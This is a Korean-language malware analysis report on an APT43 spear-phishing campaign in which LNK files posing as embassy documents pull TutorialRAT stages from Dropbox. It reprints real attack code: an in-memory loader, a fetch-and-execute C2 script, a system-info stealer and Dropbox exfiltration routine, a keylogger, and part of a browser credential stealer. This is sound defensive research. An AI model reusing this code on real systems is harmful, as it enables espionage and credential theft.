<img height="1" width="1" style="display:none" src="https://www.facebook.com/tr?id=939333007162424&amp;ev=PageView&amp;noscript=1">

APT43 배후의 다단계 드롭박스 명령과 TutorialRAT

Multi-step DropBox commands and TutorialRAT behind APT43

◈ 주요 요약 (Executive Summary)  

  • 정책 간담회나 자문회의, 설문조사, 강의안내 등 사칭해 유인  
  • 초기 접근은 정상 이메일로 시작, 반응형 스피어 피싱 전략 구사  
  • 합법적인 드롭박스의 다단계 공격 체인과 TutorialRAT 공격 활용  
  • APT43그룹의 BabyShark 위협 캠페인 연장선으로 확인  
  • Genian EDR의 XBA 이상행위 탐지 기술을 통해 선제적 식별 가능     

 

1. 개요 (Overview)  

○ 지니언스 시큐리티 센터(이하 GSC)는 APT43 그룹이 다단계 공격 체인을 활용해 시그니처 기반 Anti-Virus 탐지 기술 회피에 집중함을 확인했습니다. 특히, 합법적으로 널리 쓰이는 드롭박스(DropBox) 클라우드 저장소를 마치 공격 거점으로 활용해 위협 모니터링 범위에서 탈피하기 위한 전술 노력도 시도 중입니다.    

○ 2024년 1분기를 기준해 한국내 APT 공격 활성도는 높음 수준을 유지하며, 스피어 피싱의 경우 '바로가기(LNK)' 타입의 공격이 지속돼 각별한 주의가 요구됩니다.      

 

tu (1)

[그림 1] APT43 그룹의 DropBox 기반 BabyShark 공격 흐름도

 

2. 공격 시나리오 (Attack Scenario)  

○ 먼저 지난해 말 마치 한국내 통일분야 정책 간담회 및 강연, 사례비 지급서식 문서처럼 위장된 HTML 유형의 공격이 다수 포착됐습니다. 이는 전형적 스피어 피싱 기반의 APT 공격으로 실제 정부기관이 사용중인 보안메일 내역처럼 위장된 것이 특징입니다.      

 

tu (2)

[그림 2] 정부기관 보안메일로 위장된 HTML 실행 화면 (일부 블러 처리) 

 

○ 당시 위협 행위자는 보안메일로 위장된 HTML 코드 속에 압축 파일을 삽입했습니다. 그 다음 압축 내부에 미끼용 정상 문서와 함께 '바로가기(LNK)' 유형의 악성 코드를 넣어 전달하는 전략을 구사했습니다. 해당 APT 공격 캠페인 중 명령제어(C2) 서버로 쓰인 'meatalk[.]com', 'kyungdaek[.]com' 도메인에서 'r_enc.bin' 이름의 'TutorialRAT(TutRAT)' 유포가 관찰된 바 있습니다.    

○ 상기 사례 이후 공격 대상에 따라 전술이 일부 변경되는데, 비트코인과 같은 가상자산이나 대북 및 안보분야 종사자를 겨냥 시 클라우드 저장소의 유효 URL 링크 주소를 통해 악성 압축 파일 다운로드를 유도했습니다.    

○ 이러한 초기침투 시나리오는 일반적 스피어 피싱 수법이 쓰이지만, 악성 명령이 작동하는 과정과 위협 인프라는 탐지 회피를 위해 지속적으로 변화될 수 있습니다. GSC 조사에 따르면 2024년 1분기까지 이와 유사한 공격 패턴은 지속 발견됐고, APT43 그룹의 'BabyShark' 케이스와 동일한 '뮤텍스(Mutex)' 값이 식별됐습니다.    

○ 참고로 APT43[Mandiant]은 Emerald Sleet[Microsoft], Kimsuky[Kaspersky], Velvet Chollima[CrowdStrike] 등의 이름으로 쓰이기도 합니다. <알파벳 순서>      

 

tu (3)

[그림 3] 실제 스피어 피싱 공격 화면 (일부 블러 처리) 

 

○ 본 사례의 공격 시나리오는 마치 주중 한국대사관에서 발송된 메일처럼 위장했습니다. 실제 이 내용은 한국의 안보분야 특정 전문가에게 수신됐고, 공격은 주중대사관 정책간담회 비공개 회의 참석요청 건처럼 현혹해 접근을 시작합니다.    

○ 공격 초기에 정책간담회 및 회의 참석 안내를 소개하고, 나름대로 신뢰도를 높여갑니다. 그렇게 수차례 메일을 주고받다가 간담회 계획안 문서를 전달합니다. 이때, 중국 인터넷 감시 시스템(GFW)에 의해 메일 발송이 안되어 구글 드라이브 링크로 보낸다고 설명합니다. 참고로, 'GFW'란 만리장성 방화벽(Great FireWall of china, 防火长城)으로 알려져 있습니다.    

○ 해당 구글 드라이브 링크를 통해 '202404주중대사관 정책간담회.rar' 파일이 전달되고, 압축 내부에 악성 파일이 포함돼 있습니다. 특히, 위협 행위자는 중국 북경에서 진행되는 회의처럼 소개하며, 출국 일정 조율과정에서 한국에서 생소한 '인차'라는 표현을 사용했습니다.      

 

tu (4)

[그림 4] 북한식 단어 표기법이 포함된 화면    

 

○ '인차'라는 단어를 통일부 북한정보포털에서 조회하면 '이내' 의미의 북한어로 검색 결과가 출력됩니다.      

 

tu (5)

[그림 5] 통일부 북한정보포털 검색 결과

 

○ 위협 행위자는 신분을 위장하고 수신자와 수차례 메일을 주고 받으며, 자신도 모르게 평소 사용하던 언어적 습관을 실수로 노출했습니다. 물론, 단편적 증거만으로 위협 배후를 특정할 수 없지만, OPSEC Fail 흔적에서 중요한 단서 중 하나임에 분명합니다.    

○ 이처럼 사이버 위협 프로파일링을 할 때 행위자와 관련된 다양한 지표(언어와 지역, 문화적 특성)를 파악하는 것은 악성코드 상관관계 분석에 중요한 요소입니다.    

○ 더불어 다양한 악성코드 분석뿐만 아니라 사이버 작전 중 의도치 않게 남겨진 디지털 흔적과 인프라를 면밀히 관찰해 위협 인텔리전스(CTI) 기반 배후 증명 및 TTPs 연계 EDR 솔루션 탐지기술 연구 등에 활용됩니다. 이와 유사한 공격은 최근 다양한 형태로 발견되고 있으며, 하기 사례의 경우 마이크로소프트(MS)사의 OneDrive 링크를 통해 수행됐던 케이스입니다. 이처럼 합법적인 클라우드 링크를 통한 유사 공격이 이어지고 있습니다.      

 

tu (6)

[그림 6] 원드라이브 링크로 전달된 공격 사례 (일부 블러 처리)

 

○ 만일 여러분이 최신 사이버 공격 시나리오를 다수 파악하고 있다면, 동일시기 발생 위협에 대한 방어 효과뿐만 아니라, 향후 발생 가능한 유사위협 대비수준도 함께 높일 수 있습니다.    

 

3. 악성 파일 분석 (Malware Analysis)

○ 실제 APT 공격에 쓰인 악성 파일은 다양한 형태의 변종들이 제작돼 국내에 유포되고 있습니다. 본 공개 보고서의 경우 대표 케이스를 선정해 분석 내용을 기술하고자 합니다. GSC는 이번 사례를 조사하는 과정 중 한·미 양국의 여러 사이버 보안 전문가들의 협조와 도움을 받았습니다.    

○ 최근 국내 사례에서 식별된 두개의 파일은 RAR 압축 형태인데, △202404주중대사관 정책간담회.rar  △국회입법조사처 정책간담회.rar 등이 있습니다. 그리고 모두 암호가 설정된 압축 파일이기 때문에 공격 초기에 Anti-Virus 시그니처 탐지율은 0%에 가깝습니다.    

 

tu (7)

[그림 7] 공격에 사용된 압축 파일 화면

 

○ RAR 압축 내부에는 정상 한컴문서(.hwp) 파일과 이중 확장자로 위장된 바로가기(.hwp.lnk) 유형의 악성 파일이 함께 포함돼 있습니다. 공통적으로 정상 문서와 악성 파일을 함께 포함한 현혹 전략에 가깝습니다.    

○ 두 케이스 모두 거의 같은 시기에 동일하게 진행된 실제 공격으로, 전체 흐름에 큰 차이는 없습니다.    

○ 따라서 '202404_주중한국대사관 한중 북중·안보현안 1.5트랙 비공개 정책간담회 대면회의 계획(안).hwp.lnk' 파일을 기준으로 설명하고자 합니다.      

 

tu (8)

[그림 8] 압축 해제 후 파일 모습

 

○ 이전에 보고된 바 있는 여러 LNK 바로가기 기반 공격과 마찬가지로 이번 경우도 이용자 의심을 줄이기 위해 정상 HWP 문서가 함께 포함됐습니다. 따라서 폴더옵션 디폴트 조건인 확장자 숨기기가 설정된 경우 아이콘 화살표로 어느정도 구분이 가능합니다. 그리고 파일명을 길게 만들거나 다수의 공백을 넣어 화면상 확장자가 생략되도록 조작하기도 합니다.    

○ 따라서 아이콘 좌측 하단에 화살표 기호가 존재 할 경우 육안상 LNK 파일이라는 것과 압축 파일 내 포함 조건이 부합될 경우 위험도를 높게 지정할 수 있습니다.    

○ 실제 공격에 쓰인 '202404_주중한국대사관 한중 북중·안보현안 1.5트랙 비공개 정책간담회 대면회의 계획(안).hwp.lnk' 파일의 속성 정보를 통해 내부에 삽입된 cmd.exe 명령을 확인할 수 있습니다. 다만, 전체 명령은 별도로 분석을 통해 파악해야 합니다.    

○ 내부에 삽입된 명령은 PowerShell 호출을 통해 진행되고, 먼저 LNK 파일 전체 크기 '0x0010F27C' (1,110,652 바이트)를 확인합니다. 그리고 정상 HWP 문서가 시작되는 '1,057,248' 오프셋부터 끝나는 '1,110,496' 오프셋 위치까지 확인 후 파일을 교체하고 실행합니다.    

○ 그 다음 PowerShell 명령은 하드코딩된 드롭박스(DropBox)의 clientID, clientSecret, refreshToken 값을 통해 Access Token 키를 획득하고 API 통신을 수행합니다. 해당 저장소 소유자의 'step5/ps.bin' 경로로 접근해 파일을 요청하고, AESDecrypt 함수 루틴과 'pa55w0rd' 비밀번호를 결합해 복호화를 수행합니다. 참고로 위협 행위자는 'step1' 부터 'step8'까지 여러 저장소 경로를 구성해 둔 상태였습니다.      

 

tu (9)

[그림 9] LNK 파일 내부 PowerShell 명령어 (일부 블러 처리)

 

○ 더불어 LNK 파일 실행 후에 보여지는 정상 HWP 문서에는 [비공개]라는 표기와 함께 '한중 북중·안보현안 비공개 정책간담회 계획(안)' 제목을 가지고 있습니다.    

○ 본문에는 개최 목적과 세부 계획이 담겨 있는데, 4.19(금) 오전 9시 30분부터 오후 4시 20분까지 한중 동시통역 제공으로 주중한국대사관에서 주최한다는 내용이 기재돼 있습니다. 그리고 문서 정보 요약 부분에 'SoftPower' 계정이 지은이로 기록돼 있습니다.    

 

tu (10)

[그림 10] 정상 HWP 문서 파일 화면 (일부 블러 처리)

 

○ 여기서 주목할 부분은 첫번째 단계서 호출되는 'ps.bin' 파일의 주석 처리된 코드 중 'clientx64.bin' 기록이 존재한다는 점입니다. 이 파일을 조사해 보면, 태국[TH] 소재 아이피 '122.155.191[.]33' 주소에서 'XenoRAT' 악성파일이 사용된 이력이 발견됩니다.  

 


   
Add-Type -AssemblyName System.Windows.Forms
   Add-type -AssemblyName System.Drawing
   $name2 = "makeProbe1";
   #$path = ".\clientx64.bin";
   #$bytes = [System.IO.File]::ReadAllBytes($path);
   # Access Token 요청
   #Access Token 가져오는 부분

[표 1] 'ps.bin' PowerShell 명령어 일부

 

 ○ 한편, 지난 2월 21일 GSC는 '새해 오피니언 언론 칼럼 위장 해킹 분석' 리포트를 통해 'XenoRAT' 공격 사례를 소개한 바 있는데, 본 공격 사례와 동일한 배후의 소행으로 분류된 상태입니다.    

○ 더 흥미로운 점은 앞서 공격 시나리오에서 기술했던 'r_enc.bin' 이름의 'TutRAT' 파일이 태국 소재 C2 서버에서 동시 발견됐고, 'user.bin' 파일은 'clientx64.bin' 파일과 동일한 'XenoRAT' 파일로 분석됐습니다. 그리고 모두 Gz 압축 포맷으로 존재했는데, C2 내용은 '크리미널 IP' 조회 결과로도 과거 내역 확인이 가능합니다.      

 

tu (11)

[그림 11] 태국 소재 서버에서 발견된 RAT 비교  

 

○ 다음으로 PowerShell 명령으로 선언된 AESDecrypt 함수를 통해 복호화 후 실행됩니다. 그리고 DropBox Token 값을 통해 저장소 동일 경로에 존재하는 'r_enc.bin' 파일을 읽어옵니다. 참고로 공격 명령 내부에 한글로 된 주석처리가 다수 존재합니다.

 


   
# Access Token 요청
   $tokenEndpoint = "https://api.dropboxapi.com/oauth2/token"
   $response = Invoke-RestMethod -Uri $tokenEndpoint -Method Post -Body $body
   $accessToken = ""
   # 요청 결과 확인
   if ($response.access_token) {
       $accessToken = $response.access_token
       Write-Host "새로운 Access Token: $newAccessToken"
   } else {
       Write-Host "Access Token을 가져오는 데 실패했습니다."
       Write-Host "에러: $($response.error_summary)"
   }
   $downloadUrl = "https://content.dropboxapi.com/2/files/download"
   #$accessToken = "sl.Bqs[일부 생략]Ak"
   $remoteFilePath = "/step5/r_enc.bin"
   $request = [System.Net.HttpWebRequest]::Create($downloadUrl)
   $request.Method = "POST"
   $request.Headers.Add("Authorization", "Bearer $accessToken")
   $request.Headers.Add("Dropbox-API-Arg", '{"path": "' + $remoteFilePath + '"}')
   $response = $request.GetResponse()
   $receiveStream = $response.GetResponseStream()

[표 2] 'ps.bin' 명령어 중 'r_enc.bin' 호출 부분

 

○ 호출된 'r_enc.bin' 파일은 GzExtract 함수를 통해 압축이 해제되고, 내부에는 TutorialRAT 악성 파일이 포함돼 있습니다.   

 


Function
Load
{
   function GzExtract {

       [CmdletBinding()]
       Param (
           [Parameter(Position = 0, Mandatory = $True)]
           [byte[]] $byteArray = $(Throw("-byteArray is required"))
       )
       Process {
           $input = New-Object System.IO.MemoryStream(, $byteArray )
           $output = New-Object System.IO.MemoryStream
           $gzipStream = New-Object System.IO.Compression.GzipStream $input, ([IO.Compression.CompressionMode]::Decompress)
           $gzipStream.CopyTo( $output )
           $gzipStream.Close()
           $input.Close()
           [byte[]] $byteOutArray = $output.ToArray()       

           return $byteOutArray
       }
   }

 

[표 3] GzExtract 함수 부분

 

○ BASE64 인코딩 값을 파라미터로 사용하며, 압축 해제 후 'r_enc.bin' 파일을 실행합니다. 

 


       if
($receiveStream -ne $null) {
       $streamReader = New-Object System.IO.StreamReader($receiveStream)
       $memoryStream = New-Object System.IO.MemoryStream
       $buffer = New-Object byte[] 1024
       $read = 0
       do {
        $read = $receiveStream.Read($buffer, 0, $buffer.Length)
        $memoryStream.Write($buffer, 0, $read)
        } while ($read -gt 0)
       $enc_bytes = $memoryStream.ToArray()
       $length = $enc_bytes.Length
      [byte[]]$exBytes = GzExtract ($enc_bytes)
      $length = $exBytes.Length
      $assembly = [System.Reflection.Assembly]::Load($exBytes)
      foreach ($type in $assembly.GetTypes())
      {
        foreach ($method in $type.GetMethods())
        {
           if (($method.Name.ToLower()).equals($name2.ToLower()))
           {
               $instance = [System.Activator]::CreateInstance($type)
               $method.Invoke($instance, "[BASE64 일부 생략]")
               #[namespace.Class]::Main($parametre)
               #$instance::Main()
           }
         }
       }

[표 4] BASE64 명령어 선언 부분

 

○ '$name2 = "makeProbe1"' 선언된 호출을 통해 BASE64 디코딩된 값은 'version103.vbs' 파일로 [Templates] 경로에 생성 후 실행됩니다. 이 명령은 'r_enc.bin' 파일과 연동하여 작동됩니다.      

 

tu (12)

[그림 12] 'r_enc.bin' 이름의 'TutRAT' 내부 명령어  

 

○ 'version103.vbs' 스크립트는 DropBox API 토큰을 선언하고, 'step5' 하위 경로에서 'info_sc.txt' 파일을 호출해 실행합니다.   

 


'download module
Const HTTP_METHOD = "POST"
Const DROPBOX_API_ENDPOINT = "https://content.dropboxapi.com/2/files/download"
'Const ACCESS_TOKEN = "[생략]"
Const REMOTE_FILE_PATH = "/step5/info_sc.txt"
objHTTP.Open HTTP_METHOD, DROPBOX_API_ENDPOINT, False
objHTTP.SetRequestHeader "Authorization", "Bearer " & ACCESS_TOKEN
objHTTP.SetRequestHeader "Content-Type", "application/octet-stream"
objHTTP.SetRequestHeader "Dropbox-API-Arg", "{""path"": """ & REMOTE_FILE_PATH & """}"
objHTTP.Send

[표 5] 'version103.vbs' 내부 명령 부분

 

○ 'info_sc.txt' 파일은 원래 DropBox 토큰을 사용해 'regard.co[.]kr' 도메인에서 미끼용 정상 문서 '5.hwp' 파일을 다운로드해 임시폴더 경로에 저장합니다. 이때 사용하는 파일명은 '세종연구소_제30기_세종국가전략연수과정_강의의뢰서_***원장님.hwp' (일부 * 처리) 입니다. 하지만, 본 공격 코드에서는 주석처리 되어 작동하지 않고 스킵됩니다.    

○ 이중 'BabyShark 캠페인'에서 사용되는 이른바 'RandomQuery' 타입의 스크립트 명령 이력이 관찰되고, 작업 스케줄러 등록 부분 역시 주석처리돼 있습니다. 물론, 공격에 따라 실제 유효했던 사례가 존재합니다.   

 


strHost = "
gbionet[.]com"
strAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
pwd = "pa55w0rd"

If ver < 10 Then
   vTxt = "On Error Resume Next:With CreateObject(""InternetExplorer.Application""):.Navigate ""http://" & strHost & "/inc/basl/up1/list.php?query=6"":Do while .busy:WScript.Sleep 100:Loop:bt=.Document.Body.InnerText:.Quit:End With:Execute(bt)"
   Reserve vPath, vTxt
   Reg vPath

[표 6] 'info_sc.txt' 내부 명령 부분 (도메인 문자열 변경)

 

○ 해당 코드의 하단 영역에는 PowerShell 명령을 통해 'info_ps.bin' 파일을 호출하게 됩니다.    

○ 'info_ps.bin' 파일은 컴퓨터 단말의 주요 정보를 수집하는 시스템 인포 스틸러 기능을 수행합니다. 수집된 정보는 AESEncrypt 루틴으로 암호화하고, 비밀번호는 동일한 'pa55w0rd' 값을 사용합니다.     

 


   $sysInfo
= SystemInfo; $sysInfo = ArrayToString($sysInfo);
   $upData = "++++++++++++++++ System ++++++++++++++++`r`n" + $sysInfo + "`r`n`r`n";  

   $taskList_v = tasklist; $taskList_v = ArrayToString($taskList_v);
   $upData += "+++++++++++++ Task Detail +++++++++++++`r`n" + $taskList_v + "`r`n`r`n";

   $taskList_svc = tasklist /svc; $taskList_svc = ArrayToString($taskList_svc);
   $upData += "++++++++++++ Task Service +++++++++++++`r`n" + $taskList_svc + "`r`n`r`n";

   $firewall_st = Netsh Advfirewall show allprofiles; $firewall_st = ArrayToString($firewall_st);
   $upData += "++++++++++ Firewall Status ++++++++++++`r`n" + $firewall_st + "`r`n`r`n";  

   $av_soft = "";
   $status = Get-WmiObject -NameSpace "ROOT\SecurityCenter" -class "AntiVirusProduct";
   if( $status -ne $null ) {
       $av_soft = $status.GetText([System.Management.TextFormat]::Mof);
   }
   $upData += "+++++++++++++ AntiVirus +++++++++++++++`r`n" + $av_soft + "`r`n";

   $av_soft2 = "";
   $status = Get-WmiObject -NameSpace "ROOT\SecurityCenter2" -class "AntiVirusProduct";
   if( $status -ne $null ) {
       $av_soft2 = $status.GetText([System.Management.TextFormat]::Mof);
   }
   $upData += $av_soft2 + "`r`n`r`n";

   $user_dir = $env:userprofile;
   $appdata = $env:APPDATA;
   $path_list = @("$user_dir\Desktop", "$user_dir\Documents", "$user_dir\Downloads", "$appdata\Microsoft\Windows\Recent", "$appdata\Microsoft\Windows\Start Menu\Programs", $env:ProgramFiles, ${env:ProgramFiles(x86)});
   foreach( $path in $path_list ) {
       $upData += "++++++++++++++++ $Path ++++++++++++++++`r`n`r`n";
       $upData += ListDir -Path $path;
   }
   $upData += ListDrives;
   [Byte[]]$bytes2enc = [System.Text.Encoding]::UTF8.GetBytes($upData);
   [Byte[]]$enc_bytes = AESEncrypt -bytes $bytes2enc -pass $pass; 

   $uri += "/inc/basl/up1/show.php";
   PostBinary -uri $uri -bytes $enc_bytes -name "enc_info";
}

[표 7] 'info_ps.bin' 인포 스틸러 기능 명령어

 

○ 암호화된 개인정보는 DropBox 저장소 'log5' 경로에 단말 IP 주소를 추가하여 피해자를 개인별로 구분하고, 하위에 'enc_info+[Get-Date -Format]' 형태로 저장합니다. 그리고 DropBox 토큰을 통해 자료 유출을 수행합니다.     

 


   
# Access Token 요청
   $tokenEndpoint = "https://api.dropboxapi.com/oauth2/token"
   $response = Invoke-RestMethod -Uri $tokenEndpoint -Method Post -Body $body
   $accessToken = ""
   # 요청 결과 확인
   if ($response.access_token) {
       $accessToken = $response.access_token
       Write-Host "새로운 Access Token: $newAccessToken"
   } else {
       Write-Host "Access Token을 가져오는 데 실패했습니다."
       Write-Host "에러: $($response.error_summary)"
   }
      $ipAddress = (Get-NetIPAddress | Where-Object { $_.AddressFamily -eq 'IPv4' -and $_.InterfaceAlias -ne 'Loopback' }).IPAddress
      $time_sata = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
      $name = $name + $time_sata
      # HTTP 요청 헤더 구성
      $headers = @{
        "Authorization" = "Bearer $accessToken"
        "Content-Type" = "application/octet-stream"
        "Dropbox-API-Arg" = "{`"path`": `"/log5/$ipAddress[1]/$name`",`"mode`": `"add`"}"
       }

       # 파일 업로드 요청 보내기
       $response = Invoke-RestMethod -Method Post -Uri $uploadUrl -Headers $headers -Body $updata
   }

[표 8] 'info_ps.bin' 자료 유출 명령어

 

○ 앞서 설명한 'info_sc.txt' 파일은 발견 당시 다수의 명령어가 주석처리된 상태였습니다. 하지만, 실제 공격 사례 중에는 코드가 모두 작동된 경우가 존재합니다.    

○ 위협 행위자가 해당 코드를 활성화할 경우 작업 스케줄러에 등록된 PowerShell 명령을 통해 'm_ps.bin' 파일을 호출해 복호화하고 실행합니다.

 

         
          "End IF" & vbnewline & _
           "pow_cmd = ""powershell -ep bypass -file path """"m_ps.bin""""""" & vbnewline & _
           "pow_cmd = Replace(pow_cmd, ""path"", psPath)" & vbnewline & _
           "wh = ""winmgmts:""" & vbnewline & _
           "wt = ""win32_process""" & vbnewline & _
           "set wm = GetObject(wh & wt)" & vbnewline & _
           "set ows = GetObject(wh & ""\root\cimv2"")" & vbnewline & _
           "set ost = ows.Get(wt & ""startup"")" & vbnewline & _
           "set oconf = ost.SpawnInstance_" & vbnewline & _
           "oconf.ShowWindow = 12" & vbnewline & _
           "errReturn = wm.Create(pow_cmd, Null, oconf, pid)" & vbnewline

[표 9] 'info_sc.txt' 내용 중 주석 처리된 일부분

 

○ 본 명령을 수행하는 DropBox 저장소에는 실제 'm_ps.bin' 파일이 존재하고 있었으며, 위협 행위자의 의도에 따라 가변적 공격에 쓰였다고 볼 수 있습니다. 'm_ps.bin' 파일도 'AESEncrypt', 'AESDecrypt' 함수를 가지고 있으며, DropBox 액세스 토큰 값을 선언해 두었습니다.    

○ 중복 실행을 방지하기 위해 뮤텍스(Mutex)를 'Main#202401094939ss0913' 값으로 생성합니다. 이 문자열은 공격에 따라 조금씩 상이한 형태를 가집니다. 또, 위협의 지속성을 유지하기 위해 'GetTimeInterval' 함수를 통해 10,000초(약 2시간 46분) 사이에서 임의의 간격으로 시간을 설정해 DropBox 통신을 유지합니다.

 


   
Function GetTimeInterval {
       param(
           [int]$oldVal
       )
       $randVal = Get-Random -Maximum 10000;
       $val = ($randVal % 8) * 10;

       if($val -lt 45) { $val += 45; }      

       $sub = $val - $oldVal;      

       if(($sub -lt 0) -and ($sub -gt -20)) { $val = $oldVal - 15; }      

       if(($sub -ge 0) -and ($sub  -lt 20)) { $val = $oldVal + 15; }      

       return $val;
   }              

   $bMute = $true;
   $muteTxt = "Main#202401094939ss0913";
   try{
       $curMute = [System.Threading.Mutex]::OpenExisting($muteTxt);
       $bMute = $false;
   }catch{
       $newMute = New-Object System.Threading.Mutex($true,$muteTxt);
   }

[표 10] 'm_ps.bin' 내용 중 Mutex 생성 부분

 

○ 'm_ps.bin' 파일은 DropBox 저장소에서 'ad_ps.bin' 파일을 호출해 복호화 후 실행되는 과정을 거칩니다. 현재까지 확인된 바에 의하면, 이 파일은 다양한 기능을 가진 여러개의 명령이 선택적으로 사용됐습니다.   

 


# Access Token 요청
      $tokenEndpoint = "https://api.dropboxapi.com/oauth2/token"
      $response = Invoke-RestMethod -Uri $tokenEndpoint -Method Post -Body $body
      $accessToken = ""
      # 요청 결과 확인
      if ($response.access_token) {
        $accessToken = $response.access_token
        Write-Host "새로운 Access Token: $newAccessToken"
        } else {
         Write-Host "Access Token을 가져오는 데 실패했습니다."
         Write-Host "에러: $($response.error_summary)"
       }
       $remoteFilePath = "/step5/ad_ps.bin"
       $request = [System.Net.HttpWebRequest]::Create($downloadUrl)
       $request.Method = "POST"
       $request.Headers.Add("Authorization", "Bearer $accessToken")
       $request.Headers.Add("Dropbox-API-Arg", '{"path": "' + $remoteFilePath + '"}')
       $response = $request.GetResponse()
       $receiveStream = $response.GetResponseStream()
       $pass = "pa55w0rd"

[표 11] 'm_ps.bin' 코드에서 'ad_ps.bin' 파일 호출 부분

 

○ 보통 마지막으로 사용되는 'ad_ps.bin' 파일은 4가지 유형이 공격목적에 따라 가변적으로 선택됩니다. 이는 △키로거(Keylogger) △화면 캡처(Screenshot Capture) △웹 브라우저 크리덴셜 스틸러(Browser Credential Stealer) △가상 네트워크 컴퓨팅(Virtual Network Computing)을 통한 원격 제어 등입니다.    

○ 먼저 키로거용 PowerShell 명령은 사용자의 키보드 입력과 클립보드 저장 내용을 '%appdata%\Microsoft\Windows\Themes' 경로에 'version.xml' 텍스트 파일로 저장됩니다. 그리고 중복 실행 방지를 위해 뮤텍스(Mutex) 문자열을 'Global\AlreadyRunning191122' 값으로 설정합니다.

 


$scblock
= {
   $Path = "$env:appdata\Microsoft\Windows\Themes\version.xml"  

   $al = @('[DllImport("user32.dll",CharSet=CharSet.Auto)]', 'public static extern', 'System.Text.StringBuilder');
   $f = @("GetAsyncKeyState", "GetKeyboardState", "MapVirtualKey", "GetForegroundWindow", "GetWindowText", "ToUnicode", "GetClipboardSequenceNumber", "IsClipboardFormatAvailable", "GetTickCount");  

   $pref = $al[0] + $al[1];  

   $clk = 'using System;using System.Diagnostics;using System.Runtime.InteropServices;using System.Security.Principal;public class CLK{[DllImport("user32.dll",CharSet=CharSet.Auto,ExactSpelling=true)]'+$al[1]+' short '+$f[0]+'(int virtualKeyCode);'+$pref+' int '+$f[1]+'(byte[] keystate);'+$pref+' int '+$f[2]+'(uint uCode,int uMapType);'+$pref+' int '+$f[3]+'();'+$pref+' int '+$f[4]+'(int hwnd,'+$al[2]+' lpText,int cchLength);'+$pref+' int '+$f[5]+'(uint wVirtKey,uint wScanCode,byte[] lpkeystate,'+$al[2]+' pwszBuff,int cchBuff,uint wFlags);[DllImport("user32.dll")]'+$al[1]+' int '+$f[6]+'();[DllImport("user32.dll")]'+$al[1]+' bool '+$f[7]+'(uint uFormat);[DllImport("kernel32.dll")]'+$al[1]+' UInt32 '+$f[8]+'();}';

    Add-Type -TypeDefinition $clk;
   Add-Type -Assembly PresentationCore;  

   $bMute = $true;
   $strMute = "Global\AlreadyRunning191122";  

   try{
       $curMute = [System.Threading.Mutex]::OpenExisting($strMute);
       $bMute = $false;
   }catch{
       $newMute = New-Object System.Threading.Mutex($true,$strMute);
   }
$CL = [CLK];
   $o_enc_mode = [System.Text.Encoding]::UTF8;
   $a_kb = New-Object Byte[] 256;
   $strBuilder = New-Object -TypeName System.Text.StringBuilder;
   $curWnd = New-Object System.Text.StringBuilder(260);
   $a_asc = @(0x2d, 0x20, 0x2E, 0x25, 0x26, 0x27, 0x28, 0x08, 0x24, 0x23, 0x11, 0x09, 0x1b, 0x01, 0x02);
   $a_str = @("▼`n", " ", "[Del]", "[<-]", "[^]", "[->]", "[v]", "[Bk]", "[Home]", "[End]", "[Ctrl]", "[Tab]", "[Esc]", "[LM]", "[RM]");  

   $oldWnd = ""; $oldTick = 0; $oldClip = 0;

    while($bMute){
       Start-Sleep -Milliseconds 1;      

       $hTopWnd = $CL::($f[3])();
       $len = $CL::($f[4])($hTopWnd, $curWnd, $curWnd.Capacity);

       if($curWnd.ToString() -ne $oldWnd){
           $oldWnd = $curWnd.ToString();
           $t = Get-Date -Format "yyyy/MM/dd`tHH:mm:ss";
           [System.IO.File]::AppendAllText($Path, "`n++++++++ [" + $t + "] [" + $curWnd.ToString() + "] ++++++++`n", $o_enc_mode);
       }
       $curTick = $CL::($f[8])();
       if(($oldTick -eq 0) -or (($curTick - $oldTick) -gt 1000)){
           $oldTick = $curTick;
           $curClip = $CL::($f[6])();
           if($oldClip -ne $curClip){
               $oldClip = $curClip;
               if($CL::($f[7])(1)){
                   $clip = "`n++++++++ [Clipboard] ++++++++`n" + [Windows.Clipboard]::GetText() + "`n++++++++++++++++++++++++++++++`n";
                   [System.IO.File]::AppendAllText($Path, $clip, $o_enc_mode);
               }
           }
       }

[표 12] 키로거 기능의 'ad_ps.bin' 케이스와 뮤텍스 부분

 

○ 여기서 사용된 'Global\AlreadyRunning191122' 문자열 역시 'BabyShark APT 캠페인'에서 지속 식별됩니다.   

○ 다음 두번째 유형은 피해자 화면을 PNG 파일로 캡쳐해 저장하고, DropBox 'screenlog' 경로에 유출을 시도하는 방식입니다. 실제 공격에서 포착된 바는 없지만, DropBox 저장소에 보관 중이던 것이 관찰됐습니다.   

 

Function CapDesk {
   Param (
       [string] $SaveTo,
       [int] $interval
   )  

   $Script:webReqUpload = $null;
   $Script:boundary = "";
   $Script:saveURL = $SaveTo;

   $signatures = @'
   [DllImport("gdi32.dll")]
   public static extern int GetDeviceCaps(IntPtr hdc, int nIndex);
'@
   $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru      

   Add-type -Assembly System.Drawing
   Add-Type -Assembly System.Windows.Forms
   Add-Type -AssemblyName System.Windows.Forms
   Add-type -AssemblyName System.Drawing

[표 13] 화면 캡처 기능의 'ad_ps.bin' 케이스

 

○ 세번째로 웹 브라우저의 크리덴셜 정보를 수집해 탈취하는 케이스입니다. 구글 크롬, MS 엣지, 네이버 웨일 브라우저에 저장된 'User Data' 경로를 확인합니다. 그리고 'Cookies', 'History', 'LoginData' 값을 수집해 DropBox 경로로 유출을 시도합니다.    

○ Windows용 Chrome에서는 DPAPI(Data Protection API)인 CryptProtectData를 사용해 'Cookies', 'History', 'LoginData' 내용을 암호화해 보관합니다.    

○ 이를 복호화하기 위해 암호화 키가 저장된 'Local State' 파일에서 'encrypted_key' 값을 활용해 'master_key' 값을 구합니다. 그리고 해당 정보를 GzCompress 함수를 사용해 압축하고, ToBase64String 변환 후 ConvertTo-Json을 통해 저장되는 여러 과정 등을 거친 후 공격자의 DropBox 저장소로 업로드 합니다.   

 

function GetBrowserInfo {  

       Add-Type -AssemblyName System.Security;

       $appPath = $env:LOCALAPPDATA;
       $browserTypes = @("Chrome", "Edge", "Whale");
       $dataPaths = @("\Google\Chrome\User Data", "\Microsoft\Edge\User Data", "\Naver\Naver Whale\User Data");
       $emptyJSON = "{}";
       $stateRetJson = $emptyJSON | ConvertFrom-JSON;
       for ( $i = 0 ; $i -lt $browserTypes.Length ; $i ++ ) {
           if( [System.IO.Directory]::Exists($appPath + $dataPaths[$i]) ) {
               if($browserTypes[$i] -eq "Chrome" ){
